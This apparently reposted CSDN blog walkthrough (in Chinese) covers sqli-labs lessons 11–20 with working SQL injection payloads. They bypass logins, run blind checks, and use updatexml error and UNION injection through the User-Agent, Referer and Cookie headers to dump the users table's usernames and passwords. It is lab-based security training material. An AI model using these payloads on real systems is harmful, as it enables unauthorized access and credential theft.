Less-11~Less-20是post型注入，一般都是登陆绕过，当然也是可以获取数据库的信息。
工具
火狐+burpsuite/hackbar插件
less 11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
我们把 整个被单引号引着的复制下来
把左端和右端的单引号去掉，就变成下面的
test’ LIMIT 0,1 test右边有个单引号
那么判断是单引号注入了
直接来个永真的，加注释，登陆成功uname=1' or 1=1#&passwd=1&submit=Submit
尝试以下payload，失败了
uname=test' or 1=1 & passwd=test&submit=Submit
首先and的优先级高于or 【就是and先运算】
那么 ‘1’=‘1’ and password=‘test’ 先运算，因为users表里面的password字段没有一个数据时test，右边是false，那么整个表达式就是false
那么语句就变成 SELECT username, password FROM users WHERE username='test' or falseusername='test'没有这一行数据吧，右边是false，or也救不了你了
uname这里不行，我们尝试passwd咯，发现是可以的
uname=test&passwd=test' or '1'='1&submit=Submit
首先and先运算
username=‘test’ and password=‘test’ 返回false(0)
‘1’=‘1’ 肯定是true(1)了
最终语句等价于
SELECT username, password FROM users WHERE 0 or 1;
那么就肯定可以绕过登陆了
那么总结一下：一般第一个登陆字段（一般是用户名）就用注释，第二个登陆字段（一般就密码）用闭合和注释都是可以的
此外，我们这里还可以通过盲注获取数据库信息uname=11&passwd=1' or length(database())=7 # &submit=Submit
uname=11&passwd=1' or length(database())=8 # &submit=Submit
less 12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
先用什么单引号双引号看看，报错就看出它有没有用引号，或者加了其他东西
单引号
双引号
那么这里明显看出用)将变量括着，那么直接绕过uname=11&passwd=1") or 1=1 # &submit=Submit
less 13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
单引号看出有），直接永真+闭合
less 14 POST - Double Injection- Double quotes- String (POST双引号变形双注入)
uname=11&passwd=1" or "1"="1 &submit=Submit
less 15 Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
这里输入单引号，双引号就不会报错了，我们只能加上永真用假或者时间延迟函数了
确定单引号盲注
根据页面显示，可以测出为布尔和时间延迟的盲注，如下图所示uname=admin' and 1=1 --+&passwd=admin&submit=Submit
less 16 Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)
uname=11&passwd=a") or 1=1# &submit=Submit
uname=admin’ and 1=2 --+&passwd=admin&submit=Submit
uname=admin’ and sleep(5) --+&passwd=admin&submit=Submit
页面响应延迟，可以看出存在时间延迟性注入，直接使用sqlmap跑或者写脚本。
less 17 Update Query- Error Based - String (基于错误的更新查询POST注入)
注意：下面的注入，一不小心可能把数据库的user表的密码表给清空了
payload：updatexml(1,concat(0x7e,(version())),0)，这函数直接在mysql控制台直接help查看
可以看到可以看到
第一个参数是 目标xml
第二个参数是 xpath的表达式，这个看w3c那个xpath教程
第三个参数是 要将xpath的表达式的东西将目标xml替换成什么
实践了一下上面的例子，你就会理解
第一个直接将a结点的内容包括a直接替换为fff了
第二个是因为第一个结点并没有b结点所以没有变化， /就相当于linux的根目录咯
第三个例子就不管b在哪一层，只要找到就替换
而且发现只能替换一个结点
可以看到，uname用check_input()函数进行了处理
check_input首先判断不为空，就截取前15个字符，
当magic_quotes_gpc=On的时候，函数get_magic_quotes_gpc()就会返回1
当magic_quotes_gpc=Off的时候，函数get_magic_quotes_gpc()就会返回0
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据，如包括有:post、get、cookie过来的数据增加转义字符“\”，以确保这些数据不会引起程序，特别是数据库语句因为特殊字符引起的污染而出现致命的错误
若开了就将转义符去掉
ctype_digit判断是不是数字，是数字就返回true，否则返回false
是字符就用mysql_real_escape_string过滤，其实基本就是转义（转义 SQL 语句中使用的字符串中的特殊字符，并考虑到连接的当前字符集），这样就把宽字节cut了
是数字也要用intval转化成int，因为传过来的是字符型数字
可以看到只对uname过滤，那么我们从password入手咯
less 18 Header Injection - Uagent field - Error based (基于错误的用户代理，头部POST注入)
Host
Host请求报头域主要用于指定被请求资源的Internet主机和端口号。
如：Host: localhost:8088User-Agent
User-Agent请求报头域允许客户端将它的操作系统、浏览器和其他属性告诉服务器。登录一些网站时，很多时候都可以见到显示我们的浏览器、系统信息，这些都是此头的作用。
如：User-Agent: Mozilla/5.0Referer
Referer包含一个URL，代表当前访问URL的上一个URL，也就是说，用户是从什么地方来到本页面。
如：Referer: http://localhost:8088/sqlilabs/Less-18/Cookie
Cookie是非常重要的请求头，它是一段文本，常用来表示请求者身份等。
如：Cookie: username=admin; password=adminRange
Range可以请求实体的部分内容，多线程下载一定会用到此请求头。
如：表示头500字节：Range: bytes=0~499
表示第二个500字节：Range: bytes=500~999
表示最后500字节：Range: bytes=-500
表示500字节以后的范围：Range: bytes=500-X-Forwarded-For
X-Forwarded-For即XXF头，它代表请求端的IP，可以有多个，中间以逗号隔开。
如：X-Forwarded-For: 8.8.8.8Accept
Accept请求报头域用于指定客户端接收哪些MIME类型的信息。
如：Accept: text/htmlAccept-Charset
Accept-Charset请求报头域用于指定客户端接收的字符集。如果在请求消息中没有设置这个域，默认是任何字符集都可以接收。
如： Accept-Charset: gb2312
回显能够显示你的IP地址，这里自然会想到是不是XFF头注入。一航师傅的WP也是这么写的，但是后来多次尝试未果，看后台源码后查资料发现是不对的。
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
源码使用HTTP_USER_AGENT只获取了HTTP请求头的一个部分：User-Agent。
而获取IP则使用了REMOTE_ADDR，这能直接获取TCP协议数据包的底层会话IP地址，它能被代理服务器或路由修改伪造，但非修改XFF头就可以更改的。
再看源码：$uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']);
对POST的uname和passwd都做了check_input()处理，在Less17已经分析了这个函数，所以表单不存在注入点。
不论是否登录成功，都会回显IP。
登陆成功后回显uagent，并将uagent、IP、uname插入到security数据库的uagents表的uagent、ip_address、username三个字段中。
经过这次尝试可以看到：修改XFF头对IP没有影响，登陆成功会回显你的User-Agent。
这里要输入正确的账号和密码才能绕过账号密码判断，进入处理User-Agent部分。这跟现实中的注册登录再注入是比较贴合。
所以注入点就在User-Agent处。
我们已经得出注入语句为INSERT，根据Less17中的介绍，这里有很多方法可以注入
我们选择updatexml()注入。
这里我们仍需要根据回显报错来判断INSERT语句结构，首先任意尝试：
User-Agent: Hyafinthus' updatexml(1,concat('#',(database())),0)--+
可以看到uagent是在IP和uname之前的，即INSERT语句：INSERT INTO table_name ('uagent','ip_address','username') VALUES ('$uagent','$IP','$uname')
步骤1：数据库名securityUser-Agent: Hyafinthus' or updatexml(1,concat('#',(database())),0),'','')#
注意：这里并不是URL而是HTTP头，所以+并不会被转义为(空格)，于是末尾的注释符号要变为#。
步骤2：表名usersUser-Agent: ' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'','')#
注意：因为这里or的语法，User-Agent应为空。而步骤1成功的原因不确定，教程中也为空但没有影响，猜测是数据库版本的问题。
步骤3：字段名id、username、password
User-Agent: ' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0),'','')#
步骤4：数据
User-Agent: ' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0),'','')#
注意：同样因为错误信息只显示了一部分，使用limit偏移注入。
less 19 Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)发现用的表也改了，只有referer和IP：
INSERT INTO table_name ('referer','ip_address') VALUES ('$referer','$IP')
知道了查询语句便可以注入：
步骤1：数据库名securityReferer: ' or updatexml(1,concat('#',(database())),0),'')#
步骤2：表名usersReferer: ' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'')#
步骤3：字段名id、username、passwordReferer: ' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0),'')#
步骤4：数据Referer: ' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0),'')#
less 20 Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)
回显有User-Agent、IP这样从当次Request直接获取的，
也有Cookie这样刷新页面后仍存在的，
还有登录用户的id、username、password。
最下方是删除Cookie的按钮，点击后刷新到初始界面。
使用Chrome插件Edit This Cookie查看存储的Cookie信息：
可以看到只存储了uname这一个字段的信息，且是明文存储。
修改Cookie后刷新界面：
便可以得知整个后台流程：
登陆后将uname写入Cookie。
在每次Request (GET / POST)页面时后台判断Cookie是否存在，若不存在则为登录界面；若存在则读取Cookie中字段uname。
在数据库中按username查询，若用户存在则将查询到用户id、username、password回显；若不存在
可以判断出注入点就在Cookie处，但是这里注入有两种途径：
用Chrome插件EditThisCookie修改本地Cookie文件注入。
用Burp修改登陆(POST)成功后刷新时GET请求头中的Cookie值注入，这种方式不会修改本地的Cookie文件。
接下来将重点演示第一种途径的注入。
0x02. 注入过程
我们得出后台根据Cookie中的uname查询用户的所有信息，即这是个SELECT语句，我们可以使用最简单的UNION注入。
步骤1：判断字符型 / 数字型注入
uname = admin'
步骤2：判断字段数与回显字段
uname = admin' order by 4#
uname = 1' union select 1,2,3#
实际上这个页面太清晰了，不用判断字段都能猜出来。
得出SQL语句：SELECT * FROM table_name WHERE username='$cookie_uname' LIMIT 0,1
步骤3：数据库名security
uname = 1' union select 1,2,database()#
步骤4：表名users
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
步骤5：字段名id、username、password
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
步骤6：数据
1' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users#
cookie: uname=admin1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
来源：CSDN
作者：Trrrrinity
链接：https://blog.csdn.net/github_37216944/article/details/85220563